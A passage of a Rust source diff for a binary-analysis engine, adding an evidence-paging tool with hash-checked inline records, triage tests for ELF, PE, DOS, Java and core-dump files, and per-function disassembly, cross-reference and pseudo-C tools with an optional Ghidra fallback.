parse_params(params.clone())?; + let parent: Evidence = match &p.source { + RecordSource::Saved { evidence_id } => ctx.session.resolve_evidence(evidence_id)?, + RecordSource::Inline { evidence } => { + let e: Evidence = + serde_json::from_value(evidence.clone()).map_err(|e| ToolError::invalid(format!("inline evidence isn't an evidence record: {e}")))?; + if !e.verify() { + return Err(ToolError::new(ErrorCode::EvidenceHashMismatch, "the inline evidence doesn't match its id (it was changed)")); + } + e + } + }; + let r = &parent.result; + let (shown, coverage) = match &p.show { + Show::Summary => (parent.summary_view(), Coverage::complete(1)), + Show::Part { name } => { + let v = + find_key(r, name, 0).ok_or_else(|| ToolError::invalid(format!("no part {name} in this record")).with_details(json!({"available": keys(r)})))?; + (json!({"part": name, "value": v}), Coverage::complete(1)) + } + Show::Row { list, pick } => { + let arr = find_key(r, list, 0) + .and_then(Value::as_array) + .ok_or_else(|| ToolError::invalid(format!("no list {list} in this record")).with_details(json!({"available": keys(r)})))?; + let row = pick.parse::().ok().and_then(|i| arr.get(i)).or_else(|| { + arr.iter().find(|x| ["name", "address", "id", "text", "type"].iter().any(|k| x.get(*k).and_then(Value::as_str) == Some(pick.as_str()))) + }); + let row = row.ok_or_else(|| ToolError::invalid(format!("nothing in {list} matches {pick}")))?; + (json!({"list": list, "pick": pick, "row": row}), Coverage::complete(1)) + } + Show::Rows { list, offset, limit, matching, fields, field_names } => page_of(r, list, *offset, *limit, matching, fields, *field_names)?, + Show::FunctionPart { name, offset, limit } => page_of(r, name, *offset, *limit, &BTreeMap::new(), &[], false)?, + }; + let status = match coverage.status { + craft_anything_evidence::CoverageStatus::Complete + if matches!(p.show, Show::Rows { .. } | Show::FunctionPart { .. }) && coverage.examined == Some(0) => + { + "empty" + } + craft_anything_evidence::CoverageStatus::Complete if matches!(p.show, Show::Rows { .. } | Show::FunctionPart { .. }) => "page", + craft_anything_evidence::CoverageStatus::Partial => "page", + _ => "all-in-view", + }; + let at_end = coverage.next_offset.is_none(); + let e = EvidenceBuilder::new("core_evidence_browse", parent.subject.clone(), Environment::builtin(ctx.session.clean_room())) + .params(params) + .result(json!({"from_evidence": parent.id, "from_tool": parent.operation, "shown": shown, "coverage": {"status": status, "examined": coverage.examined, "total": coverage.total, "next_offset": coverage.next_offset, "at_end": at_end}})) + .summary(format!("Part of {} evidence ({status}).", parent.operation)) + .confidence(parent.confidence) + .authority(parent.authority) + .coverage(coverage) + .link(parent.id.clone()) + .build()?; + Ok(ToolOutput::evidence(e)) +} + +/// A row's field; `a.b` reaches inside when the row has no field named `a.b` itself. +fn field<'a>(row: &'a Value, name: &str) -> Option<&'a Value> { + row.get(name).or_else(|| name.split('.').try_fold(row, |v, k| v.get(k))) +} + +/// Every wanted field equals its value, or one of a list of them; null also matches a missing field. +fn row_matches(row: &Value, matching: &BTreeMap) -> bool { + matching.iter().all(|(name, want)| { + let got = field(row, name); + let is = |w: &Value| got == Some(w) || (got.is_none() && w.is_null()); + match want { + Value::Array(any) => any.iter().any(is), + w => is(w), + } + }) +} + +/// A page of a list: its rows (only the matching ones, cut to `fields`) or text by +/// UTF-16 units. +fn page_of( + r: &Value, + list: &str, + offset: usize, + limit: usize, + matching: &BTreeMap, + fields: &[String], + field_names: bool, +) -> Result<(Value, Coverage), ToolError> { + let limit = limit.clamp(1, 5000); + let v = find_key(r, list, 0).ok_or_else(|| ToolError::invalid(format!("no {list} in this record")).with_details(json!({"available": keys(r)})))?; + let narrowed = !matching.is_empty() || !fields.is_empty() || field_names; + Ok(match v { + Value::Array(a) => { + let rows: Vec<&Value> = a.iter().filter(|x| row_matches(x, matching)).collect(); + let items: Vec = rows + .iter() + .skip(offset) + .take(limit) + .map(|x| match x { + Value::Object(_) if !fields.is_empty() => { + Value::Object(fields.iter().filter_map(|f| field(x, f).map(|v| (f.clone(), v.clone()))).collect()) + } + x => (*x).clone(), + }) + .collect(); + let cov = Coverage::page(items.len() as u64, rows.len() as u64, offset as u64); + let mut out = json!({"list": list, "offset": offset, "items": items, "total": rows.len()}); + if !matching.is_empty() { + out["list_total"] = json!(a.len()); + } + if field_names { + let names: BTreeSet<&String> = rows.iter().filter_map(|x| x.as_object()).flat_map(|m| m.keys()).take(100_000).collect(); + out["field_names"] = json!(names); + } + (out, cov) + } + _ if narrowed => { + return Err(ToolError::invalid(format!("{list} isn't a list of records, so matching, fields and field_names don't apply")) + .with_remediation("Leave them out to page it as it is.")); + } + Value::String(s) => { + let (text, total, next) = page_text(s, offset, limit.saturating_mul(64)); + let cov = Coverage { + status: if next.is_some() { craft_anything_evidence::CoverageStatus::Partial } else { craft_anything_evidence::CoverageStatus::Complete }, + examined: Some(text.encode_utf16().count() as u64), + total: Some(total as u64), + next_offset: next.map(|n| n as u64), + }; + (json!({"list": list, "offset": offset, "text": text, "total_utf16_units": total}), cov) + } + other => (json!({"list": list, "value": other}), Coverage::complete(1)), + }) +} + +fn keys(v: &Value) -> Vec { + v.as_object().map(|m| m.keys().cloned().collect()).unwrap_or_default() +} + +#[cfg(test)] +mod tests { + use super::super::native_common::test_support::*; + use craft_anything_testkit as tk; + use serde_json::json; + + #[test] + fn triage_explains_an_unreadable_elf_header() { + let mut header = vec![0u8; 64]; + header[..16].copy_from_slice(b"\x7fELF\x02\x01\x01\0\0\0\0\0\0\0\0\0"); + header[16..20].copy_from_slice(&[2, 0, 62, 0]); + header[20] = 1; + header[52] = 64; + header[54] = 56; + header[58] = 64; + let e = engine_with("truncated.elf", &header[..16]); + let path = tk::temp_file("truncated.elf", &header[..16]); + let parse_error = craft_anything_formats::parse_binary(&header[..16]).unwrap_err().to_string(); + for params in [json!({}), json!({"path": path.to_string_lossy()})] { + let r = call(&e, "core_target_triage", params.clone()); + assert_eq!(r["result"]["kind"], "elf"); + let plain = r["result"]["plain_english"].as_str().unwrap(); + assert!(plain.starts_with("truncated.elf starts like a Linux (or Unix) program, but we couldn't read it"), "{plain}"); + assert!(!plain.contains("isn't a format we recognise yet")); + let error = call_err(&e, "native_layout_show", params); + let limitation = r["limitations"].as_array().unwrap().iter().find(|l| l["code"] == "native_parse_failed").unwrap(); + assert!(limitation["message"].as_str().unwrap().ends_with(&parse_error)); + assert!(error.message.ends_with(&parse_error)); + assert!(r["limitations"].as_array().unwrap().iter().any(|l| l["code"] == "detected_by_content")); + } + let complete = engine_with("complete.elf", &header); + let r = call(&complete, "core_target_triage", json!({})); + assert!(r["summary"].as_str().unwrap().contains("Linux")); + assert!(r["summary"].as_str().unwrap().contains("x86_64")); + call(&complete, "native_layout_show", json!({})); + let text = engine_with("notes.txt", b"plain text"); + let r = call(&text, "core_target_triage", json!({})); + assert_eq!(r["result"]["kind"], "unknown"); + assert!(r["summary"].as_str().unwrap().contains("isn't a format we recognise yet")); + assert!(!r["limitations"].as_array().unwrap().iter().any(|l| l["code"] == "native_parse_failed")); + } + + #[test] + fn pe_resources_and_layout() { + let pe = tk::pe64(); + let e = engine_with("craft.exe", &pe); + let r = call(&e, "native_pe_resources_list", json!({})); + assert_eq!(r["result"]["entries"].as_array().unwrap().len(), 3); + assert_eq!(r["result"]["version"]["strings"]["CompanyName"], "Craft Test"); + assert_eq!(r["result"]["entries"][0]["sha256"].as_str().unwrap().len(), 64); + let r = call(&e, "native_layout_show", json!({})); + assert_eq!(r["result"]["mitigations"]["nx"], true); + assert_eq!(r["result"]["imports"][0]["name"], "puts"); + let r = call(&e, "core_target_triage", json!({})); + assert!(r["result"]["plain_english"].as_str().unwrap().contains("Windows")); + assert!(r["result"]["next_steps"].as_array().unwrap().iter().any(|s| s["tool"] == "native_pe_resources_list")); + // path input + let p = tk::temp_file("other.exe", &pe); + let r = call(&e, "native_pe_resources_list", json!({"path": p.to_string_lossy()})); + assert_eq!(r["subject"]["name"], "other.exe"); + assert!(call_err(&e, "native_pe_resources_list", json!({"path": "relative.exe"})).message.contains("absolute")); + } + + #[test] + fn layout_summary_keeps_full_record_and_view_pages_it() { + let (elf, _) = tk::elf64(tk::ElfArch::X86_64, true); + let e = engine_with("prog", &elf); + let r = call(&e, "native_layout_show", json!({"detail": "summary"})); + let id = r["result"]["saved_evidence"]["evidence_id"].as_str().unwrap().to_string(); + assert!(r["result"]["counts"]["symbols"].as_u64().unwrap() > 0); + let v = call( + &e, + "core_evidence_browse", + json!({"source": {"kind": "saved", "evidence_id": id}, "show": {"kind": "rows", "list": "sections", "offset": 0, "limit": 2}}), + ); + assert_eq!(v["result"]["shown"]["items"].as_array().unwrap().len(), 2); + assert_eq!(v["result"]["coverage"]["status"], "page"); + assert_eq!(v["links"][0], id); + let v = call(&e, "core_evidence_browse", json!({"source": {"kind": "saved", "evidence_id": id}, "show": {"kind": "part", "name": "mitigations"}})); + assert_eq!(v["result"]["shown"]["value"]["nx"], true); + let v = call( + &e, + "core_evidence_browse", + json!({"source": {"kind": "saved", "evidence_id": id}, "show": {"kind": "row", "list": "sections", "pick": ".text"}}), + ); + assert_eq!(v["result"]["shown"]["row"]["name"], ".text"); + // dossier facets, text paging + let d = call(&e, "native_function_study", json!({"function": "helper"})); + let did = d["id"].as_str().unwrap().to_string(); + let v = call( + &e, + "core_evidence_browse", + json!({"source": {"kind": "saved", "evidence_id": did}, "show": {"kind": "function-part", "name": "pseudocode", "offset": 0, "limit": 1}}), + ); + assert_eq!(v["result"]["shown"]["text"].as_str().unwrap().encode_utf16().count(), 64); + assert!(v["result"]["coverage"]["next_offset"].is_number()); + let v = call(&e, "core_evidence_browse", json!({"source": {"kind": "inline", "evidence": d}, "show": {"kind": "function-part", "name": "callers"}})); + assert_eq!(v["result"]["shown"]["items"][0]["name"], "main"); + let mut tampered = d.clone(); + tampered["summary"] = json!("changed words are fine"); + call(&e, "core_evidence_browse", json!({"source": {"kind": "inline", "evidence": tampered}, "show": {"kind": "summary"}})); + let mut tampered = d; + tampered["result"]["pseudocode"] = json!("evil"); + assert_eq!( + call_err(&e, "core_evidence_browse", json!({"source": {"kind": "inline", "evidence": tampered}, "show": {"kind": "summary"}})).code, + craft_anything_evidence::ErrorCode::EvidenceHashMismatch + ); + assert!( + call_err(&e, "core_evidence_browse", json!({"source": {"kind": "saved", "evidence_id": "ev_missing"}, "show": {"kind": "summary"}})) + .details + .is_some() + ); + } + + #[test] + fn pages_keep_matching_rows_and_chosen_fields() { + let (elf, _) = tk::elf64(tk::ElfArch::X86_64, true); + let e = engine_with("prog", &elf); + let r = call(&e, "native_layout_show", json!({"detail": "summary"})); + let src = json!({"kind": "saved", "evidence_id": r["result"]["saved_evidence"]["evidence_id"]}); + let page = |view: serde_json::Value| call(&e, "core_evidence_browse", json!({"source": src, "show": view}))["result"].clone(); + let all = page(json!({"kind": "rows", "list": "sections", "limit": 5000})); + let names: Vec = all["shown"]["items"].as_array().unwrap().iter().map(|s| s["name"].as_str().unwrap().to_string()).collect(); + assert!(names.len() > 2 && names.contains(&".text".to_string()), "{names:?}"); + + // one value, then a list of values; offsets count matching rows + let v = page(json!({"kind": "rows", "list": "sections", "matching": {"name": ".text"}})); + assert_eq!((v["shown"]["total"].as_u64(), v["shown"]["list_total"].as_u64()), (Some(1), Some(names.len() as u64))); + assert_eq!(v["shown"]["items"][0]["name"], ".text"); + let two = json!([names[0], names[1], "no-such-section"]); + let v = page(json!({"kind": "rows", "list": "sections", "matching": {"name": two}, "offset": 1, "limit": 5})); + assert_eq!(v["shown"]["total"], 2); + assert_eq!(v["shown"]["items"][0]["name"], names[1].as_str()); + assert_eq!(v["coverage"]["at_end"], true); + + // chosen fields only, a missing one left out; field names of the matching rows + let v = page(json!({"kind": "rows", "list": "sections", "matching": {"name": ".text"}, "fields": ["name", "no_such_field"], "field_names": true})); + assert_eq!(v["shown"]["items"][0], json!({"name": ".text"})); + let keys = v["shown"]["field_names"].as_array().unwrap(); + assert!(keys.contains(&json!("name")) && keys.len() > 1, "{keys:?}"); + + // null matches a field a row doesn't have; nothing matching is an empty page + assert_eq!(page(json!({"kind": "rows", "list": "sections", "matching": {"no_such_field": null}}))["shown"]["total"], names.len()); + let v = page(json!({"kind": "rows", "list": "sections", "matching": {"name": "nothing"}})); + assert_eq!((v["shown"]["total"].as_u64(), v["coverage"]["status"].as_str()), (Some(0), Some("empty"))); + + // text and single values can't be narrowed + let d = call(&e, "native_function_study", json!({"function": "helper"})); + let err = call_err( + &e, + "core_evidence_browse", + json!({"source": {"kind": "inline", "evidence": d}, "show": {"kind": "rows", "list": "pseudocode", "fields": ["x"]}}), + ); + assert!(err.message.contains("isn't a list of records"), "{}", err.message); + } + + #[test] + fn crash_dumps() { + let core = tk::elf64_core(0x400010, 0); + let e = engine_with("core.4242", &core); + let r = call(&e, "native_crash_show", json!({"with_debugger_context": true})); + assert_eq!(r["result"]["signal"]["name"], "SIGSEGV"); + assert_eq!(r["result"]["crash_location"]["file"], "/usr/bin/crashy"); + assert!(r["summary"].as_str().unwrap().contains("crashy")); + assert!(r["limitations"].as_array().unwrap().iter().any(|l| l["code"] == "debugger_context_unavailable")); + let (elf, _) = tk::elf64(tk::ElfArch::X86_64, true); + let e = engine_with("prog", &elf); + assert_eq!(call_err(&e, "native_crash_show", json!({})).code, craft_anything_evidence::ErrorCode::NotSupported); + } + + #[test] + fn dos_load_images_and_triage() { + let e = engine_with("game.exe", &tk::dos_mz()); + let r = call(&e, "native_dos_image_show", json!({})); + assert_eq!(r["result"]["format"], "dos-mz"); + assert_eq!(r["result"]["consistent"], true); + assert_eq!(r["result"]["header"]["relocations"].as_array().unwrap().len(), 2); + let r = call(&e, "core_target_triage", json!({})); + assert!(r["result"]["plain_english"].as_str().unwrap().contains("DOS")); + let r = call(&e, "native_functions_list", json!({})); + assert!(r["result"]["total"].as_u64().unwrap() >= 1); + let e = engine_with("hi.com", &tk::dos_com()); + let r = call(&e, "native_dos_image_show", json!({})); + assert_eq!(r["result"]["entry"], "0x100"); + let r = call(&e, "native_function_pseudocode", json!({"function": "0x100"})); + assert!(r["result"]["pseudo_code"].as_str().is_some()); + let e = engine_with("notes.txt", b"plain text"); + let r = call(&e, "core_target_triage", json!({})); + assert!(r["result"]["plain_english"].as_str().unwrap().contains("recognise")); + assert_eq!(call_err(&e, "native_dos_image_show", json!({})).code, craft_anything_evidence::ErrorCode::NotSupported); + let e = engine_with("app.asar", b"\x04\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0{\"files\":{}}"); + let r = call(&e, "core_target_triage", json!({})); + assert!(r["result"]["recommended_toolsets"].as_array().unwrap().iter().any(|t| t == "javascript")); + } + + #[test] + fn bare_java_class_triage_recommends_java_tools() { + let hex = "cafebabe00000031000801000550726f62650700010100106a6176612f6c616e672f4f626a656374070003010006616e73776572010003282949010004436f6465002100020004000000000001000900050006000100070000000f0001000000000003102aac000000000000"; + let bytes: Vec = (0..hex.len() / 2).map(|i| u8::from_str_radix(&hex[i * 2..i * 2 + 2], 16).unwrap()).collect(); + let e = engine_with("Probe.class", &bytes); + let r = call(&e, "core_target_triage", json!({})); + assert_eq!(r["result"]["kind"], "java-class"); + assert!(!r["result"]["plain_english"].as_str().unwrap().contains("recognise")); + assert!(r["result"]["recommended_toolsets"].as_array().unwrap().iter().any(|t| t == "java")); + assert_eq!(r["result"]["next_steps"][0]["tool"], "java_class_show"); + } + + #[test] + fn real_binary_end_to_end_if_present() { + let Ok(bytes) = std::fs::read("/bin/ls") else { return }; + let e = engine_with("ls", &bytes); + let r = call(&e, "core_target_triage", json!({})); + assert!(r["result"]["plain_english"].as_str().unwrap().contains("Linux")); + let r = call(&e, "core_overview_show", json!({})); + assert!(r["result"]["counts"]["functions"].as_u64().unwrap() > 50); + let r = call(&e, "native_layout_show", json!({"detail": "summary"})); + assert!(r["result"]["counts"]["sections"].as_u64().unwrap() > 10); + let r = call(&e, "native_function_study", json!({"function": "entry"})); + assert!(r["result"]["pseudocode"].as_str().is_some()); + } +} diff --git a/desktop/crates/engine/src/tools/native_function.rs b/desktop/crates/engine/src/tools/native_function.rs new file mode 100644 index 0000000..2315c19 --- /dev/null +++ b/desktop/crates/engine/src/tools/native_function.rs @@ -0,0 +1,865 @@ +//! Per-function tools: info, assembly, callers, callees, references, pseudo-C, instructions, +//! the containing function of an address, one instruction in detail, call-target resolution, +//! and best-effort data typing. + +use super::native_common::{ev, hex, name_of, native, params_json, resolve_function, select_document, spec, user_names}; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_analysis::native as an; +use craft_anything_disasm::pseudo::lift; +use craft_anything_disasm::{Flow, XrefKind}; +use craft_anything_evidence::{Confidence, Coverage, Limitation, Location, ToolError}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; + +/// The decompile tool's id, for code that decides on whether a function was decompiled. +pub const PSEUDOCODE_TOOL: &str = "native_function_pseudocode"; + +pub fn specs() -> Vec { + use Toolset::Native; + let e = Effects::EVIDENCE; + let t = Requires::Target; + vec![ + spec( + "native_function_show", + "Function info", + "Entry, end, size, basic blocks, body ranges, call counts, jump tables and how the function was found.", + "Basic facts about one function.", + Native, + e, + t, + schema_of::, + native_function_show, + ), + spec( + "native_function_disassemble", + "Function assembly", + "The function's assembly as one text listing (address, bytes, instruction, names).", + "See the machine instructions of a function.", + Native, + e, + t, + schema_of::, + native_function_disassemble, + ), + spec( + "native_function_callees_list", + "What it calls", + "Direct callees of a function, with resolved names and imports.", + "See which functions this one calls.", + Native, + e, + t, + schema_of::, + native_function_callees_list, + ), + spec( + "native_function_callers_list", + "Who calls it", + "Call sites that call (or tail-jump to) this function.", + "See which functions call this one.", + Native, + e, + t, + schema_of::, + native_function_callers_list, + ), + spec( + "native_function_references_list", + "Function references", + "Raw reference edges of a function: incoming (to its entry) or outgoing (from its code).", + "See everything that points into or out of a function.", + Native, + e, + t, + schema_of::, + native_function_references_list, + ), + spec( + PSEUDOCODE_TOOL, + "Decompile", + "Structured pseudo-C from the built-in clean-room lifter: register-level variables, if/else and loops from the control-flow graph, resolved call names, inline string literals. Honest about its limits.", + "Read a function as C-like code.", + Native, + e | Effects::CARRIES_TARGET_CONTENT, + t, + schema_of::, + native_function_pseudocode, + ), + spec( + "native_function_address_show", + "Function address", + "Resolve a function name to its canonical entry address.", + "Find where a function starts.", + Native, + e, + t, + schema_of::, + native_function_address_show, + ), + spec( + "native_function_instructions_list", + "Function instructions", + "Every instruction of a function with bytes, mnemonic, operands, flow and referenced addresses.", + "List every instruction of a function.", + Native, + e, + t, + schema_of::, + native_function_instructions_list, + ), + spec( + "native_function_find", + "Which function is this in", + "The function whose code contains an address.", + "Find the function an address belongs to.", + Native, + e, + t, + schema_of::, + native_function_find, + ), + spec( + "native_instruction_show", + "Inspect instruction", + "The instruction (or data) at an address: operands, flow, registers read and written, references, containing function.", + "Look closely at one instruction.", + Native, + e, + t, + schema_of::, + native_instruction_show, + ), + spec( + "native_call_site_resolve", + "Resolve a call", + "Resolve the target(s) of one call or jump site: direct target, import, jump-table candidates, or unresolved.", + "Find out what a call actually calls.", + Native, + e, + t, + schema_of::, + native_call_site_resolve, + ), + spec( + "native_data_show", + "Inspect data", + "Best-effort typing of data at an address: string, pointer (to a function, string or data), pointer table, integer, or a requested type (u8…u64, i32, i64, f32, f64, pointer, cstring, utf16).", + "Work out what kind of data is stored somewhere.", + Native, + e, + t, + schema_of::, + native_data_show, + ), + ] +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ProcParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Function name or address (0x-hex; any address inside it works). + pub function: String, +} + +#[derive(Debug, Clone, Copy, Default, Deserialize, Serialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +pub enum Direction { + Incoming, + #[default] + Outgoing, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct RefParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Function name or address. + pub function: String, + /// incoming or outgoing (default). + #[serde(default)] + pub direction: Direction, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct AddrParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Virtual address (0x-hex). + pub address: String, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct DataTypeParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Address of the data (0x-hex). + #[serde(default)] + pub address: Option, + /// Type to read it as: u8, u16, u32, u64, i32, i64, f32, f64, pointer, cstring, utf16. Inferred when omitted. + #[serde(rename = "type", default)] + pub ty: Option, +} + +macro_rules! with_proc { + ($ctx:ident, $params:ident, $P:ty, |$p:ident, $st:ident, $t:ident, $f:ident| $body:block) => {{ + let $p: $P = parse_params($params)?; + select_document($ctx, &$p.document)?; + let $st = native($ctx)?; + let $t = $ctx.session.active()?; + let $f = resolve_function($t, &$st.prog, &$p.function)?; + $body + }}; +} + +fn native_function_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + with_proc!(ctx, params, ProcParams, |p, st, t, f| { + let user = user_names(t); + let names = |a: u64| user.get(&a).cloned(); + let info = an::function_info(&st.prog, f, &names); + let sig = lift(&st.img, &st.prog, f, &names).signature; + let mut info = info; + info["signature"] = json!(sig); + let summary = format!("{} at {:#x}: {} bytes in {} blocks.", info["name"].as_str().unwrap_or(""), f.entry, f.size(), f.blocks.len()); + let e = ev(ctx, "native_function_show", params_json(&p))? + .result(info) + .summary(summary) + .confidence(Confidence::Derived) + .location(Location::address(f.entry)) + .build()?; + Ok(ToolOutput::evidence(e)) + }) +} + +fn native_function_disassemble(ctx: &mut Ctx<'_>, params: Value) -> Result { + with_proc!(ctx, params, ProcParams, |p, st, t, f| { + let insns = st.prog.instructions(&st.img, f, true); + let mut text = String::new(); + let mut last_block = None; + for i in &insns { + let block = f.block_at(i.addr).map(|b| b.start); + if block != last_block { + if let Some(n) = name_of(t, &st.prog, i.addr) { + text.push_str(&format!("{n}:\n")); + } else if block == Some(i.addr) && i.addr != f.entry { + text.push_str(&format!("loc_{:x}:\n", i.addr)); + } + last_block = block; + } + let bytes = st.img.read(i.addr, usize::from(i.len)).map(hex::encode).unwrap_or_default(); + let mut line = format!(" {:#x} {:<20} {}", i.addr, bytes, i.text()); + let note = match i.flow { + Flow::Call { target } | Flow::Jump { target } | Flow::Cond { target } => name_of(t, &st.prog, target), + Flow::IndirectCall { slot: Some(s) } | Flow::IndirectJump { slot: Some(s) } => name_of(t, &st.prog, s), + _ => i.refs.iter().find_map(|r| { + st.prog.string_at(*r).map(|s| format!("\"{}\"", s.text.chars().take(60).collect::())).or_else(|| name_of(t, &st.prog, *r)) + }), + }; + if let Some(c) = t.annotations.inline_comments.get(&i.addr) { + line.push_str(&format!(" ; {c}")); + } else if let Some(n) = note { + line.push_str(&format!(" ; {n}")); + } + if let Some(c) = t.annotations.comments.get(&i.addr) { + text.push_str(&format!(" ; {c}\n")); + } + text.push_str(&line); + text.push('\n'); + } + let name = name_of(t, &st.prog, f.entry).unwrap_or_else(|| f.name.clone()); + let e = ev(ctx, "native_function_disassemble", params_json(&p))? + .result(json!({"function": f.name, "entry": hex(f.entry), "assembly": text, "instructions": insns.len()})) + .summary(format!("{} instructions of {name}.", insns.len())) + .coverage(Coverage::complete(insns.len() as u64)) + .location(Location::address(f.entry)) + .build()?; + Ok(ToolOutput::evidence(e)) + }) +} + +fn native_function_callees_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + with_proc!(ctx, params, ProcParams, |p, st, t, f| { + let user = user_names(t); + let names = |a: u64| user.get(&a).cloned(); + let name = name_of(t, &st.prog, f.entry).unwrap_or_else(|| f.name.clone()); + let list = an::callees(&st.prog, f, &names); + let unresolved = list.iter().filter(|c| c["indirect"] == true).count(); + let mut b = ev(ctx, "native_function_callees_list", params_json(&p))? + .result(json!({"function": f.name, "entry": hex(f.entry), "callees": list})) + .summary(format!("{name} makes {} calls ({unresolved} unresolved).", list.len())) + .confidence(Confidence::Derived) + .coverage(Coverage::complete(list.len() as u64)) + .location(Location::address(f.entry)); + if unresolved > 0 { + b = b.limitation(Limitation::new("indirect_calls_unresolved", "calls through registers are listed without a target")); + } + Ok(ToolOutput::evidence(b.build()?)) + }) +} + +fn native_function_callers_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + with_proc!(ctx, params, ProcParams, |p, st, t, f| { + let user = user_names(t); + let names = |a: u64| user.get(&a).cloned(); + let name = name_of(t, &st.prog, f.entry).unwrap_or_else(|| f.name.clone()); + let list = an::callers(&st.prog, f, &names); + let pointers = + st.prog.xrefs_to.get(&f.entry).map(|v| v.iter().filter(|x| x.kind == XrefKind::Pointer || x.kind == XrefKind::Data).count()).unwrap_or(0); + let mut b = ev(ctx, "native_function_callers_list", params_json(&p))? + .result(json!({"function": f.name, "entry": hex(f.entry), "callers": list, "address_taken": pointers})) + .summary(format!( + "{name} is called from {} places{}.", + list.len(), + if pointers > 0 { format!(" and its address is taken {pointers} times") } else { String::new() } + )) + .confidence(Confidence::Derived) + .coverage(Coverage::complete(list.len() as u64)) + .location(Location::address(f.entry)) + .limitation(Limitation::new("direct_calls_only", "callers that reach it through function pointers are not listed (see address_taken)")); + if list.is_empty() { + b = b.limitation(Limitation::new("no_static_callers", "no direct callers found; it may be an entry point, a callback or only reached indirectly")); + } + Ok(ToolOutput::evidence(b.build()?)) + }) +} + +fn native_function_references_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + with_proc!(ctx, params, RefParams, |p, st, t, f| { + let mut rows = Vec::new(); + match p.direction { + Direction::Incoming => { + for x in st.prog.xrefs_to.get(&f.entry).map(Vec::as_slice).unwrap_or(&[]) { + if st.prog.function_containing(x.from).is_some_and(|c| c.entry == f.entry) && x.kind == XrefKind::Jump { + continue; + } + rows.push(json!({"from": hex(x.from), "to": hex(x.to), "kind": x.kind, "function": st.prog.function_containing(x.from).map(|c| name_of(t, &st.prog, c.entry))})); + } + } + Direction::Outgoing => { + for (from, xs) in st.prog.xrefs_from.range(f.entry..f.end.max(f.entry + 1)) { + if !f.contains(*from) { + continue; + } + for x in xs { + if x.kind == XrefKind::Jump && f.contains(x.to) { + continue; + } + rows.push(json!({"from": hex(x.from), "to": hex(x.to), "kind": x.kind, "name": name_of(t, &st.prog, x.to)})); + } + } + } + } + let name = name_of(t, &st.prog, f.entry).unwrap_or_else(|| f.name.clone()); + let dir = match p.direction { + Direction::Incoming => "incoming", + Direction::Outgoing => "outgoing", + }; + let e = ev(ctx, "native_function_references_list", params_json(&p))? + .result(json!({"function": f.name, "entry": hex(f.entry), "direction": p.direction, "references": rows})) + .summary(format!("{} {dir} references for {name}.", rows.len())) + .confidence(Confidence::Derived) + .coverage(Coverage::complete(rows.len() as u64)) + .location(Location::address(f.entry)) + .build()?; + Ok(ToolOutput::evidence(e)) + }) +} + +fn native_function_pseudocode(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ProcParams = parse_params(params)?; + select_document(ctx, &p.document)?; + // Resolve the function entry in a scoped borrow so the deep hook can take `&mut ctx`. The + // built-in analysis stops short on a huge program (a 200 MB game has far more functions than + // it maps), so in Deep mode an address it can't place (0x…, FUN_…, sub_…) goes to Ghidra, + // which analysed the whole program and finds the function containing it. + // Ghidra may load the program somewhere else (a position-independent ELF goes to 0x100000), + // so the deep hook is told whose address this is: ours, or one from a name Ghidra made. + let (at, our_base, unknown) = { + let st = native(ctx)?; + let t = ctx.session.active()?; + let our_base = st.img.bin.image_base; + match resolve_function(t, &st.prog, &p.function) { + Ok(f) => (super::deep::At::Ours(f.entry), our_base, None), + Err(e) => match ghidra_address(&p.function).filter(|_| !ctx.session.clean_room()) { + Some(a) if is_ghidra_name(&p.function) => (super::deep::At::Engine(a), our_base, Some(e)), + Some(a) => (super::deep::At::Ours(a), our_base, Some(e)), + None => return Err(e), + }, + } + }; + // Deep mode (Ghidra) is preferred through this same tool id when it is on and available; + // otherwise, and whenever anything about it fails, we use the built-in clean-room lifter. + let why_not_deep = match super::deep::pseudo_code(ctx, at, our_base, params_json(&p)) { + Ok(result) => return result, + Err(why) => why, + }; + if let Some(e) = unknown { + return Err(match why_not_deep { + Some(why) => e.with_remediation(format!( + "{why} The built-in analysis has no function there either: it may be data, or code reached only through a table of pointers. Try native_function_find, or xrefs to the address to find the code that uses it." + )), + None => e, + }); + } + // Built-in clean-room lifter. + let st = native(ctx)?; + let t = ctx.session.active()?; + let f = resolve_function(t, &st.prog, &p.function)?; + let user = user_names(t); + let names = |a: u64| user.get(&a).cloned(); + let name = name_of(t, &st.prog, f.entry).unwrap_or_else(|| f.name.clone()); + let ps = lift(&st.img, &st.prog, f, &names); + let e = ev(ctx, "native_function_pseudocode", params_json(&p))? + .result(json!({"function": name_of(t, &st.prog, f.entry), "entry": hex(f.entry), "signature": ps.signature, "pseudo_code": ps.text, "calls": ps.calls, "strings": ps.strings, "structured": ps.structured, "gotos": ps.gotos, "inline_asm": ps.asm_fallbacks, "engine": "clean-room lifter"})) + .summary(format!("Pseudo-C for {name} ({} lines{}).", ps.text.lines().count(), if ps.structured { "" } else { ", partly unstructured" })) + .confidence(Confidence::Inferred) + .target_content(true) + .limitations(ps.limitations.iter().map(|(c, m)| Limitation::new(c.clone(), m.clone()))) + .limitations(why_not_deep.map(|w| Limitation::new("deep_engine_unavailable", format!("{w} So this came from the built-in decompiler, which is less exact.")))) + .location(Location::address(f.entry)) + .build()?; + Ok(ToolOutput::evidence(e)) +} + +/// An address Ghidra can look up: `0x…`, a bare hex address, or a generated name like `FUN_…`. +/// Whether `function` is a name Ghidra made from an address (`FUN_00101160`), so the address in it +/// is Ghidra's rather than ours. 